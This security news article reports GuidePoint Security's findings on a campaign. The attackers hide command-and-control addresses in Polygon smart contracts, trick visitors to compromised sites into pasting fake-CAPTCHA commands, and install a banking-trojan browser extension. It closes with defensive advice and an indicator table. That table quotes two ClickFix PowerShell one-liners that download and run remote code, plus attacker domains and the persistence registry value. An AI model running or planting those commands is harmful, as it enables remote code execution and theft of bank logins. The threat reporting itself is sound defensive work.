Hackers Hide Malware Servers on Blockchain to Steal Bank Logins and 2FA Codes

A new malware campaign is using blockchain technology to keep its control servers out of reach. The operation tricks visitors to compromised business websites into running a malicious command, then steals bank logins and two-factor authentication codes.

The campaign has been active since at least November 2025. It combines a fake human-verification prompt, malicious PowerShell commands, and a backdoor that receives new instructions.

Researchers at GuidePoint Security identified the activity. Their inquiry uncovered at least 31 compromised legitimate websites, 15 Polygon smart contracts, and infrastructure that can change direction without updating the malware itself across industries in several countries over seven months.

GuidePoint Security said in a report shared with Cyber Security News (CSN) that the backdoor was later used to install a fake browser extension designed to intercept credentials and two-factor codes from roughly 479 financial and cryptocurrency sites.

It resembles ClickFix-driven ransomware access, but blockchain makes the operation more durable.

Hackers Hide Malware Servers on Blockchain

The technique is known as EtherHiding. Instead of placing a fixed command-and-control address inside the malware, the agent asks a smart contract on Polygon where it should connect.

The contract returns an encrypted address, allowing the operators to change their server with a low-cost blockchain transaction.

That design weakens a familiar defensive response: blocking a malicious domain. When an address is replaced, infected machines can obtain the next address during their next check-in, while the earlier stages remain unchanged.

Victims reach the malware through legitimate sites that attackers altered with a JavaScript injection. People arriving via Google or Bing may see a fake CAPTCHA overlay, which tells them to press Windows+R, paste a command, and press Enter.

The action looks like a verification step but launches the infection on the victim’s computer. The pasted command creates a scheduled task named Enter that repeatedly tries to retrieve the next-stage scripts.

One script establishes reboot persistence through a Windows Registry value, while the other queries Polygon and contacts the active control server.

This social-engineering path resembles the Windows Run dialog attack method, where a victim is persuaded to execute the attacker’s command rather than a browser flaw being exploited.

Banking Trojan Raises Stakes

The backdoor also delivered a browser extension that posed as legitimate software while operating as a banking trojan. It could watch users enter usernames, passwords, and two-factor codes, then use web-inject content to target bank and cryptocurrency accounts.

The extension also collected browser information and could support keylogging, screen capture, video capture, and theft from password managers and cryptocurrency wallets.

Similar extension-based theft was recently seen in the KREMLIN banking malware operation, illustrating why a browser add-on installed after a deceptive prompt deserves urgent investigation.

The infrastructure has weaknesses despite its resilience. Researchers found that one build and staging server exposed its origin address and was running seven vulnerabilities listed as actively exploited.

Some command domains and compromised websites remained live, so the campaign should be treated as ongoing rather than historical.

Security teams should focus on behavior, not only blocklists. Useful detection points include the Enter scheduled task, unexpected PowerShell activity, paired scripts in a user’s temporary folder, the PersonalizedUpdates Registry value, and outbound Polygon blockchain queries.

Teams that do not need blockchain access can block or alert on those requests, potentially stopping the malware before it learns its current server.

Organizations should also restrict unapproved browser extensions, investigate new Chrome Native Messaging registrations, and treat a confirmed extension installation as a potential credential compromise.

Passwords for banking, exchange, and other sensitive accounts used on an affected device should be reset from a clean system, while responders assess the wider environment.

The wider trend, also reflected in blockchain-based loader campaigns, shows that attackers are using public infrastructure to make short-lived domains less important and behavioral detection more important.

Indicators of Compromise (IoCs):-

Type	Indicator	Description
C2 domain	3262d48df5d75e34[.]shop	Active C2 infrastructure
C2 domain	ddcd62e16a428c8e[.]shop	Inactive C2 infrastructure
C2 domain	hivinest[.]online	Active C2 infrastructure
C2 domain	dsgnfwd[.]xyz	Sibling-contract C2 infrastructure
C2 domain	hubcreative[.]shop	Sibling-contract C2 infrastructure
C2 domain	insinght[.]site	Active sibling-contract C2 infrastructure
Delivery domain	45a3158594d6ba76[.]fun	Fake CAPTCHA delivery infrastructure
Delivery domain	82d35f9b891c987a[.]fun	Fake CAPTCHA delivery infrastructure
Delivery domain	9082b2a18f2e00fe[.]fun	Fake CAPTCHA delivery infrastructure
Delivery domain	67b3ac3e45812153[.]fun	Fake CAPTCHA delivery infrastructure
Delivery domain	truieparth[.]online	Fake CAPTCHA delivery infrastructure
Delivery domain	cleearpeyak[.]online	Fake CAPTCHA delivery infrastructure
Delivery domain	veruisuealx[.]xyz	Fake CAPTCHA delivery infrastructure
Delivery domain	folfdighdd[.]xyz	Fake CAPTCHA delivery infrastructure
Supporting domain	onemm[.]net	Build and staging server
IP address	37.27.52[.]152	Origin IP address for onemm[.]net
Traffic-distribution domain	additionalver[.]com	Traffic funnel infrastructure
Traffic-distribution domain	promo-chatgpt[.]com	Traffic funnel infrastructure
Traffic-distribution domain	pleasewaitcenter[.]top	Traffic funnel infrastructure
Traffic-distribution domain	skaybolt[.]online	Traffic funnel infrastructure
Traffic-distribution domain	lanhd6549tdhse[.]top	Traffic funnel infrastructure
Web-inject panel	purplepencel[.]online	Banking and cryptocurrency web-inject configuration panel
Web-inject panel	detsigen[.]site	Banking and cryptocurrency web-inject configuration panel
WebSocket endpoint	90happymoney[.]top:3001/ws	Browser-extension command-and-control endpoint
Polygon wallet	0xd802C9427ce416B9DAb2db5aDD76EfAA6d9d826a	Operator wallet associated with contract deployment
Polygon wallet	0x6a6e177dcf992ac16f7367c14b26a3cf4775dfde	Operator wallet associated with contract deployment
Polygon smart contract	0xde2d34339c279a7a79bc4fc1c4f37d3c055211b7	Primary C2 smart contract
Polygon smart contract	0xa982e044217b6bbaa7b3123b670c1c0ca1138a37	Sibling smart contract
Polygon smart contract	0x308e9ecc849533a042f13fd77e5c82ec3c62e9f2	First contract attributed to the second operator wallet
Blockchain event topic	0x868f5f914e26b486c50b15494d56c6b2f2f17f6514343909bd36a034c19452cc	Event signature for monitoring contract updates
Polygon RPC endpoint	polygon-bor-rpc.publicnode.com	Blockchain query endpoint used by the malware
Polygon RPC endpoint	polygon.publicnode.com	Blockchain query endpoint used by the malware
Polygon RPC endpoint	polygon.gateway.tenderly.co	Blockchain query endpoint used by the malware
Polygon RPC endpoint	gateway.tenderly.co/public/polygon	Blockchain query endpoint used by the malware
Polygon RPC endpoint	1rpc.io/matic	Blockchain query endpoint used by the malware
Polygon RPC endpoint	polygon.api.onfinality.io/public	Blockchain query endpoint used by the malware
Polygon RPC endpoint	polygon.rpc.subquery.network/public	Blockchain query endpoint used by the malware
Polygon RPC endpoint	polygon.drpc.org	Blockchain query endpoint used by the malware
Polygon RPC endpoint	polygon.lava.build	Blockchain query endpoint used by the malware
Registry value	PersonalizedUpdates	Persistence value under HKCU:\Software\Microsoft\Windows\CurrentVersion\Run
Scheduled task	Enter	Repeating task used during the initial delivery stage
Browser extension ID	bpknfkhjjbjgagobdaekmnlgdhbbpcea	Malicious browser extension identifier
Native messaging host	com.top.index	Chrome Native Messaging host associated with the extension
ClickFix command	$a=”1i1e1x2i1r1m1″ -replace 1 -split 2;&$a[0](&$a[1]<delivery-domain>/<token>);	ClickFix variant linked to veruisuealx[.]xyz
ClickFix command	$a=irm <delivery-domain>/<token>;[System.Management.Automation.PowerShell]::Create().AddScript($a).Invoke()	ClickFix variant linked to truieparth[.]online
SHA-256	03A1D2ECA771A276AC9C29A4BF219D31BEB20848998CACDA8B06375BD2795B10	C2 agent
SHA-256	5ac6a2b0d20c5508027e6fde6503a5e0105be59f2a57e6659caa14e4ac0d5939	C2 agent variant
SHA-256	67427f232762fe32afab1d0d14b1d6e7f7920f5b151e133fb68c9dfc333ec69a	Persistence script
SHA-256	10ab0f8ee0829fb24bf2c915f5bb0f35a2d84ed1d69049d42ca32cfa36250c11	C2 agent, sample 4
SHA-256	cf176cf0ff50c74f08f127ef3b09be63a6f9e3ad69fa48233d4c805898368b2a	C2 agent, sample 5
SHA-256	06990ee09a29d2cdde32cb639d50e6c1e078da96a7bdabd03a68a0bb209d07b1	Persistence script, sample 4
SHA-256	00810c2e0ad5031b9fe5d2cfb4a6fb45a1c424d6b92be7ba3b1aaa7c55b10f8e	Persistence script, sample 5

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

Cut every SOC alert investigation by 21 min. Power your SOC with instant IOC context for immediate response: Integrate TI Lookup in your SOC